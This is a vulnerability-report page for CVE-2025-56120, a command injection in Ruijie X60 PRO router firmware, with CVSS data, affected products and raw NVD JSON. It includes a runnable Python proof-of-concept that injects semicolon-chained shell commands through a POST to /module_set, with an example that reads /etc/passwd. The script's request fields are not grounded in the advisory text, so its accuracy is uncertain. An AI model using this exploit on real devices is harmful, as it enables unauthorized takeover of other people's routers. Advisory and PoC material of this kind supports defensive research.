Security Vulnerability Report
中文
CVE-2025-56120 CVSS 8.8 HIGH

CVE-2025-56120

Published: 2025-12-11 19:15:57
Last Modified: 2025-12-23 15:51:08

Description

OS Command Injection vulnerability in Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-x60_pro_firmware:1.021.2014:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-x60_pro:1.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:ruijie:rg-x60_pro:2.0:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\(1\)b11p301:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew1200:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00
Ruijie X60 PRO X60_10212014RG-X60 PRO V2.00

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-56120 PoC - Ruijie X60 PRO Command Injection # Target: Ruijie X60 PRO Router (X60_10212014RG-X60 PRO V1.00/V2.00) # Vulnerability: OS Command Injection in module_set endpoint # File affected: /usr/local/lua/dev_config/config_retain.lua def exploit_command_injection(target_url, command): """ Exploit the command injection vulnerability in Ruijie X60 PRO router Args: target_url: Base URL of the target router web interface command: Command to execute on the target system Returns: Response from the target server """ endpoint = f"{target_url}/module_set" # Payload construction with command injection # Using semicolon to chain commands payload = f"'; {command}; #'" data = { 'module_name': 'config_retain', 'command': payload } try: response = requests.post(endpoint, data=data, timeout=10) return response.text except requests.exceptions.RequestException as e: return f"Error: {str(e)}" def main(): if len(sys.argv) < 3: print("Usage: python cve_2025_56120_poc.py <target_url> <command>") print("Example: python cve_2025_56120_poc.py http://192.168.1.1 'cat /etc/passwd'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Executing command: {cmd}") result = exploit_command_injection(target, cmd) print("\n[+] Response:") print(result) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56120", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:57.380", "lastModified": "2025-12-23T15:51:08.167", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie X60 PRO X60_10212014RG-X60 PRO V1.00/V2.00 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_config/config_retain.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-x60_pro_firmware:1.021.2014:*:*:*:*:*:*:*", "matchCriteriaId": "59DD81AE-54F2-4CCB-B915-4BB6B06919EB"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60_pro:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "1ADF39A4-F487-4E51-B136-0132EF49715F"}, {"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-x60_pro:2.0:*:*:*:*:*:*:*", "matchCriteriaId": "EF3FFCD9-A3A2-4179-AD74-5FC60BFAD8A2"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew1200_firmware:3.0\\(1\\)b11p301:*:*:*:*:*:*:*", "matchCriteriaId": "1E84F721-6EA6-487A-9869-E7ED30D5428E"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew1200:-:*:*:*:*:*:*:*", "matchCriteriaId": "B785D7D6-91F2-484B-9052-A95CBF5557AF"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqOEJce7qVtBlzpFonUkSfYBz09eegk6KowUdpDNexgUvw?e=qfwDKh", "source": "[email protected]", "tags": ["Broken Link", "Exploit", "Product"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EZf6v9BXDpFAs09oCidKJ8oBXclUWtjyMcQv3DgMfISkJg?e=MyjOdI", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56120.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}